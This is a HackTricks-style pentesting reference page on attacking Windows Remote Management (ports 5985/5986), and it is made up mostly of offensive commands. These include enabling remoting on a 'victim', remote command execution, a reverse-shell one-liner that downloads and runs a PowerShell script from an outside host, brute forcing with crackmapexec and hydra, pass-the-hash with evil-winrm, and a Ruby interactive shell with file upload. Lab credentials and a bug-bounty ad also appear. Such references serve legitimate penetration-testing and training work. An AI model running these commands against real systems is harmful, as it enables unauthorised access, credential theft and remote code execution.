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hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
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5985,5986 - Pentesting WinRM

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WinRM

Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

If WinRM is enabled on the machine, it's trivial to remotely administer the machine from PowerShell. In fact, you can just drop in to a remote PowerShell session on the machine (as if you were using SSH!)

The easiest way to detect whether WinRM is available is by seeing if the port is opened. WinRM will listen on one of two ports:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

If one of these ports is open, WinRM is configured and you can try entering a remote session.

Initiating WinRM Session.

We can configure PowerShell to work with WinRM. According to Microsoft documentation, Enable-PSRemoting is a cmdlet that configures the computer to receive PowerShell remote commands. If we have access to an elevated PowerShell prompt on the victim, we cam enable it and add any "attackers" as trusted hosts. We can run the following two commands:

Enable-PSRemoting -Force  
Set-Item wsman:\localhost\client\trustedhosts *

This adds a wildcard to the trustedhosts setting. Be wary of what that entails. Note: I also had to change the network type on my attack machine from "Public" to "Work" network.

You can also activate WinRM remotely **_using _wmic:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Test if configured

Once the attack machine is configured, use the Test-WSMan function to test whether the target is configured for WinRM. You should see some information returned about the protocol version and wsmid:

In this case the first one is configured and the second isn't.

Execute a command

Now we can use PowerShell's Invoke-Command to remotely execute a command on the target over WinRM. To remotely run ipconfig and see the output:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

You can also execute a command of your current PS console via Invoke-Command. Suppose that you have locally a function called enumeration and you want to execute it in a remote computer, you can do:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Execute a Script

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Get reverse-shell

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Get a PS session

Or, if you want to drop right into an interactive PowerShell session, use the Enter-PSSession function:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var 
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

The session will run in a new process (wsmprovhost) inside the "victim"

Forcing WinRM Open

If you really want to use PS Remoting and WinRM but the target isn't configured for it, you could "force" it on through a single command. I wouldn't recommend this but if you really wanted to use WinRM or PSRemoting than by all means do it this way. For example, using PSExec:

PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Now we can enter a remote PS session on the victim.

Saving and Restoring sessions

This won't work if the the language is constrained in the remote computer.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Inside this sessions you can load PS scripts using Invoke-Command

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Errors

If you find the following error:

enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.

The try on the client (info from here):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

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This crypto bounty alone is worth $1.000.000!
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WinRM connection in linux

Brute Force

Be careful, brute-forcing winrm could block users.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Using evil-winrm

gem install evil-winrm

Read documentation on its github: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

To use evil-winrm to connect to an IPv6 address create an entry inside /etc/hosts setting a domain name to the IPv6 address and connect to that domain.

Pass the hash with evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Using a PS-docker machine

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Using a ruby script

Code extracted from here: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt


conn = WinRM::Connection.new( 
  endpoint: 'https://IP:PORT/wsman',
  transport: :ssl,
  user: 'username',
  password: 'password',
  :no_ssl_peer_verification => true
)


class String
  def tokenize
    self.
      split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
      select {|s| not s.empty? }.
      map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
  end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        if command.start_with?('UPLOAD') then
            upload_command = command.tokenize
            print("Uploading " + upload_command[1] + " to " + upload_command[2])
            file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
                puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
            end
            command = "echo `nOK`n"
        end
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print(stdout)
            STDERR.print(stderr)
        end
    end    
    puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

References

HackTricks Automatic Commands

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for WinRM
  Note: |
    Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

    sudo gem install winrm winrm-fs colorize stringio 
    git clone https://github.com/Hackplayers/evil-winrm.git 
    cd evil-winrm
    ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

    https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

    ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
    ^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
    menu
    invoke-binary `tab`

    #python3
    import winrm
    s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
    print(s.run_cmd('ipconfig'))
    print(s.run_ps('ipconfig'))

    https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
  Name: Hydra Brute Force
  Description: Need User
  Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

​

​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?
This crypto bounty alone is worth $1.000.000!
Check out the top-paying bounties among crypto projects.
Sign up on HackenProof to get rewarded without delays and become the web3 hacker legend.

{% embed url="https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA" %}

Support HackTricks and get benefits!